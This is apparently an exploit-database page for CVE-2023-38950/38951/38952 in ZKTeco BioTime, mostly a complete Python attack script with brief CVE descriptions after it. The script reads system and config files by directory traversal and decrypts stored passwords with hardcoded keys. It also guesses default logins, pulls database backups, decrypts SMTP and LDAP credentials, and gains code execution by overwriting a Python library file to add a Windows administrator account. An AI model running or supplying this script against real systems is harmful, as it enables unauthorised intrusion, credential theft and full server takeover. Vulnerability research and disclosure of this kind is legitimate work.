Headline
BioTime Directory Traversal / Remote Code Execution
BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.
# __________.__ ___________.__ # \______ \__| ___\__ ___/|__| _____ ____ # | | _/ |/ _ \| | | |/ \_/ __ \ # | | \ ( <_> ) | | | Y Y \ ___/ # |______ /__|\____/|____| |__|__|_| /\___ ># \/ \/ \/ # Tested on 8.5.5 (Build:20231103.R1905)# Tested on 9.0.1 (Build:20240108.18753)# BioTime, "time" for shellz!# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950# RCE by adding a user to the system, not the app.# Relay machine creds over smb, while creating a backup# Decrypt SMTP, LDAP or SFTP creds, if any.# Get sql backup. Good luck cracking those hashes!# Can use Banner to determine which version is running# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache => BioTime Version 9# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)import requestsfrom bs4 import BeautifulSoupimport osimport jsonimport sysfrom Crypto.Cipher import AESfrom Crypto.Cipher import ARC4import base64from binascii import b2a_hex, a2b_hexrequests.packages.urllib3.disable_warnings()proxies = { 'http': 'http://127.0.0.1:8080', # Proxy for HTTP traffic 'https': 'http://127.0.0.1:8080' # Proxy for HTTPS traffic}proxies = {}target = sys.argv[1]def decrypt_rc4(base64_encoded_rc4, password="biotime"): encrypted_data = base64.b64decode(base64_encoded_rc4) cipher = ARC4.new(password.encode()) decrypted_data = cipher.decrypt(encrypted_data) return decrypted_data.decode()# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="# password = "biotime"# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)# print("Decrypted data:", decrypted_data)AES_PASSWORD = b'china@2018encryption#aes'AES_IV = b'zkteco@china2019'def filling_data(data, restore=False): ''' :param data: str :return: str ''' if restore: return data[0:-ord(data[-1])] block_size = AES.block_size # Use AES.block_size instead of None.block_size return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)def aes_encrypt(content): ''' Encryption :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out :return: str ''' if isinstance(content, bytes): content = str(content, 'utf-8') cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV) encrypted = cipher.encrypt(filling_data(content).encode('utf-8')) result = b2a_hex(encrypted).decode('utf-8') return resultdef aes_decrypt(content): ''' Decryption :param content: str or bytes, Encryption string :return: str ''' if isinstance(content, str): content = content.encode('utf-8') cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV) result = cipher.decrypt(a2b_hex(content)).decode('utf-8') return filling_data(result, restore=True)#Check BioTimeurl = f'{target}/license/'response = requests.get(url, proxies=proxies, verify=False)html_content = response.contentsoup = BeautifulSoup(html_content, 'html.parser')build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]build = Nonefor line in build_lines: build = line print(f"Found BioTime: {line}") breakif build != None: buildNumber = build[0]else: print("Unsupported Target!") sys.exit(1)# Dir Traversalurl = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'response = requests.get(url, proxies=proxies, verify=False)try: print("Dir Traversal Attempt\nOutput of windows/win.ini file:") print(base64.b64decode(response.text).decode('utf-8')) try: url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini' response = requests.get(url, proxies=proxies, verify=False) attConfig = base64.b64decode(response.text).decode('utf-8') #print(f"Output of BioTime config file: {attConfig}") except: try: url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini' response = requests.get(url, proxies=proxies, verify=False) attConfig = base64.b64decode(response.text).decode('utf-8') #print(f"Output of BioTime config file: {attConfig}") except: print("Couldn't get BioTime config file (possibly non default configuration)") lines = attConfig.split('\n') for i, line in enumerate(lines): if "PASSWORD=@!@=" in line: dec_att = decrypt_rc4(lines[i].split("@!@=")[1]) lines[i] = lines[i].split("@!@=")[0]+dec_att attConfig_modified = '\n'.join(lines) print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")except: print("Couldn't exploit Dir Traversal")# Extract Cookiesurl = f'{target}/login/'response = requests.get(url, proxies=proxies, verify=False)if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'}) if csrf_token_header: csrf_token_header_value = csrf_token_header['value'] print(f"CSRF Token Header: {csrf_token_header_value}") session_id_cookie = response.cookies.get('sessionid') if session_id_cookie: print(f"Session ID: {session_id_cookie}") csrf_token_value = response.cookies.get('csrftoken') if csrf_token_value: print(f"CSRF Token Cookie: {csrf_token_value}")else: print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")# Login Now!cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value}for i in range(1,10): username = i password = '123456' # Deafult password! data = { 'username': username, 'password': password, 'captcha':'', 'login_user':'employee' } headers = { 'User-Agent': 'Krash Consulting', 'X-CSRFToken': csrf_token_header_value } response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False) if response.status_code == 200: json_response = response.json() ret_value = json_response.get('ret') if ret_value == 0: print(f"Valid Credentials found: Username is {username} and password is {password}") session_id_cookie = response.cookies.get('sessionid') if session_id_cookie: print(f"Auth Session ID: {session_id_cookie}") csrf_token_value = response.cookies.get('csrftoken') if csrf_token_value: print(f"Auth CSRF Token Cookie: {csrf_token_value}") breakif i == 9: print("No valid users found!") sys.exit(1)# Check for Backupsdef downloadBackup(): url = f'{target}/base/dbbackuplog/table/?page=1&limit=33' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) response_data = response.json() print("Backup files list") print(json.dumps(response_data, indent=4)) if response_data['count'] > 0: backup_info = response_data['data'][0] # Latest Backup operator_name = backup_info['operator'] backup_file = backup_info['backup_file'] db_type = backup_info['db_type'] print("Operator:", operator_name) print("Backup File:", backup_file) print("Database Type:", db_type) if buildNumber == "9": createBackup() print("Backup File password: Krash") #download = os.path.basename(backup_file) path = os.path.normpath(backup_file) try: split_path = path.split(os.sep) files_index = split_path.index('files') relative_path = '/'.join(split_path[files_index + 1:]) except: return False url = f'{target}/files/{relative_path}' print(url) response = requests.get(url, proxies=proxies, verify=False) if response.status_code == 200: filename = os.path.basename(url) with open(filename, 'wb') as file: file.write(response.content) print(f"File '{filename}' downloaded successfully.") else: print("Failed to download the file. Status code:", response.status_code) return False else: print("No backup Found!") return Truedef createBackup(targetPath=None): print("Attempting to create backup.") url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id=' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) html_content = response.content soup = BeautifulSoup(html_content, 'html.parser') pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()] print(f"Possible backup location: {pathBackup}") url = f'{target}/base/dbbackuplog/action/' if targetPath == None: if buildNumber == "9" or build[:5] == "8.5.5": targetPath = "C:\\ZKBioTime\\files\\backup\\" else: targetPath = "C:\\BioTime\\files\\fw\\" if buildNumber == "9": data = { 'csrfmiddlewaretoken': csrf_token_value, 'file_path':targetPath, 'action_name': '44424261636b75704d616e75616c6c79', 'backup_encryption_choices': '2', 'auto_backup_password': 'Krash' } else: data = { 'csrfmiddlewaretoken': csrf_token_value, 'file_path':targetPath, 'action_name': '44424261636b75704d616e75616c6c79' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) if response.status_code == 200: print("Backup Initiated.") else: print("Backup failed!")if downloadBackup(): createBackup() downloadBackup()url = f'{target}/base/api/systemSettings/email_setting/'cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200: response_data = response.json() print("SMTP Settings") for key in response_data: if 'password' in key.lower(): value = response_data[key] #print(f'{key} decrypted value {aes_decrypt(value)}') response_data[key] = aes_decrypt(value) print(json.dumps(response_data, indent=4))url = f'{target}/base/api/systemSettings/ldap_setup/'cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200: response_data = response.json() print("LDAP Settings") for key in response_data: if 'password' in key.lower(): value = response_data[key] #print(f'{key} decrypted value {aes_decrypt(value)}') response_data[key] = aes_decrypt(value) print(json.dumps(response_data, indent=4))def sftpRCE(): print("Attempting RCE!") #Add SFTP, Need valid IP/credentials here! print("Adding FTP List") url = f'{target}/base/sftpsetting/add/' myIpaddr = '192.168.0.11' myUser = 'test' myPassword = 'test@123' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'host':myIpaddr, 'port':22, 'is_sftp': 1, 'user_name':myUser, 'user_password':myPassword, 'user_key':'', 'action_name': '47656e6572616c416374696f6e4e6577' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) print(response) url = f'{target}/base/sftpsetting/table/?page=1&limit=33' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) response_data = response.json() print("FTP List") print(json.dumps(response_data, indent=4)) backup_info = response_data['data'][0] # Latest SFTP getID = backup_info['id'] if getID: print("ID to edit ", getID) #Edit SFTP (Response can have errors, it doesn't matter) print("Editing SFTP Settings") if buildNumber == "9": dirTraverse = '\..\..\..\python311\lib\io.py' else: dirTraverse = '\..\..\..\python37\lib\io.py' if len(dirTraverse) > 30: print("Directory Traversal length is greater than 30, will not work!") sys.exit(1) url = f'{target}/base/sftpsetting/edit/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'host':myIpaddr, 'port':22, 'is_sftp': 1, 'user_name': dirTraverse, 'user_password':myPassword, 'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...', 'obj_id': getID } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd") #Delete SFTP print("Deleting SFTP Settings") url = f'{target}/base/sftpsetting/action/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'id': getID, 'action_name': '47656e6572616c416374696f6e44656c657465' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)#RCEif buildNumber == "9" or build[:5] == "8.5.5": sftpRCE()# #Relay Creds# createBackup("\\\\192.168.0.11\\KC\\test")
Related news
CVE-2023-38952: CVE-2023-38952
Insecure access control in ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read sensitive backup files and access sensitive information such as user credentials via sending a crafted HTTP request to the static files resources of the system.
CVE-2023-38951
A path traversal vulnerability in ZKTeco BioTime v8.5.5 allows attackers to write arbitrary files via using a malicious SFTP configuration.